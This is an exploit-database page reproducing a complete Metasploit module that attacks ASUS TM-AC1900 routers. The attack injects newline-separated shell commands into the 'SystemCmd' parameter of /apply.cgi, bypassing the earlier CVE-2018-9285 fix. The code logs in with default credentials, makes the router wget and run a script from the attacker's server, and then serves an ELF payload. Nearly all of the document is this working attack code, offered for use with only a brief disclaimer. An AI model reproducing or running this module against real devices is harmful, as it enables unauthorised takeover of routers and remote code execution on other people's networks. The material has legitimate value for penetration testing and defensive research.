Advertisement






ASUS TM-AC1900 Arbitrary Command Execution

CVE Category Price Severity
CVE-2018-9285 CWE-78 $9,000 High
Author Risk Exploitation Type Date
Richard Johnson High Remote 2020-11-13
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020110103

Below is a copy:

ASUS TM-AC1900 Arbitrary Command Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
  
    include Msf::Exploit::Remote::HttpServer
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE
    include Msf::Exploit::FileDropper
  
    def initialize(info = {})
      super(update_info(info,
        'Name'           => 'ASUS TM-AC1900 - Arbitrary Command Execution',
        'Description'    => %q{
          This module exploits a code execution vulnerability within the ASUS 
          TM-AC1900 router as an authenicated user. The vulnerability is due to 
          a failure filter out percent encoded newline characters (%0a) within 
          the HTTP argument 'SystemCmd' when invoking "/apply.cgi" which bypasses 
          the patch for CVE-2018-9285.
   
        },
        'Author'         =>
          [
            'b1ack0wl' # vuln discovery + exploit developer
          ],
        'License'        => MSF_LICENSE,
        'Platform'       => 'linux',
        'Arch'           => ARCH_ARMLE,
        'References'     =>
          [
            # CVE which shows that this functionality has been patched before ;)
            ['URL', 'https://www.cvedetails.com/cve/CVE-2018-9285/'],
            ['URL', 'https://github.com/b1ack0wl/OffensiveCon20/tree/master/TM-AC1900']
          ],
        'Privileged'     => true,
        'Targets'        =>
          [
            # this may work on other asus routers as well, but I've only tested this on the TM-AC1900.
            [ 'ASUS TM-AC1900 <= v3.0.0.4.376_3199',
              {}
            ]
          ],
        'DisclosureDate' => 'April 18, 2020',
        'DefaultTarget' => 0))
      register_options(
          [
            OptString.new('USERNAME', [true, 'Username for the web portal.', 'admin']),
            OptString.new('PASSWORD', [true, 'Password for the web portal.', 'admin'])
          ])
    end
  
    def check_login
      begin
        res = send_request_cgi({
          'method'  => 'GET',
          'uri'     => "/Main_Analysis_Content.asp",
          'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
        })
        if res and res.code == 200
          # all good :)
          return res
        else
          fail_with(Failure::NoAccess, 'Invalid password.')
        end
      rescue ::Rex::ConnectionError
          fail_with(Failure::Unreachable, 'Connection failed.')
      end
    end
  
    def on_request_uri(cli, request)
      if request.uri == '/'
        # injected command has been executed
        print_good("Sending bash script...")
        @filename = rand_text_alpha(16)
        bash_script = %Q|
        #!/bin/sh
        wget #{@lhost_srvport}/#{rand_text_alpha(16)} -O /tmp/#{@filename}
        chmod +x /tmp/#{@filename}
        /tmp/#{@filename} &
        |
        send_response(cli, bash_script)
      else
        # bash script has been executed. serve up the ELF file
        exe_payload = generate_payload_exe()
        print_good("Sending ELF file...")
        send_response(cli, exe_payload)
        # clean up
        register_file_for_cleanup("/tmp/index.html")
        register_file_for_cleanup("/tmp/#{@filename}")
      end
    end
  
    def exploit
      # make sure the supplied password is correct
      check_login
      if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
        srv_host = datastore['LHOST']
      else
       srv_host = datastore['SRVHOST']
      end
      print_status("Exploiting #{target.name}...")
      @lhost_srvport = "#{srv_host}:#{datastore['SRVPORT']}"
      start_service({'Uri' => {'Proc' => Proc.new { 
        |cli, req| on_request_uri(cli, req)
        },
          'Path' => '/'
      }})
      begin
        # store the cmd to be executed
        cmd =  "ping+-c+1+127.0.0.1;cd+..;cd+..;cd+tmp;rm+index.html;"
        cmd << "wget+#{@lhost_srvport};chmod+777+index.html;sh+index.html"
        res = send_request_cgi({
          'method'        => 'GET',
          'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
          # spaces need to be '+' and not %20, so cheap hack.exe it is.
          # required HTTP args: SystemCmd, action_mode, and current_page
          'uri'           => "/apply.cgi?SystemCmd=#{cmd.gsub(';',"%0a")}&action_mode=+Refresh+&current_page=Main_Analysis_Content.asp"
        })
        # now trigger it via check_login
        res = check_login
        if res and res.code == 200
          print_status("Waiting up to 10 seconds for the payload to execute...")
          select(nil, nil, nil, 10)
        end
      rescue ::Rex::ConnectionError
        fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
      end
    end
  end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum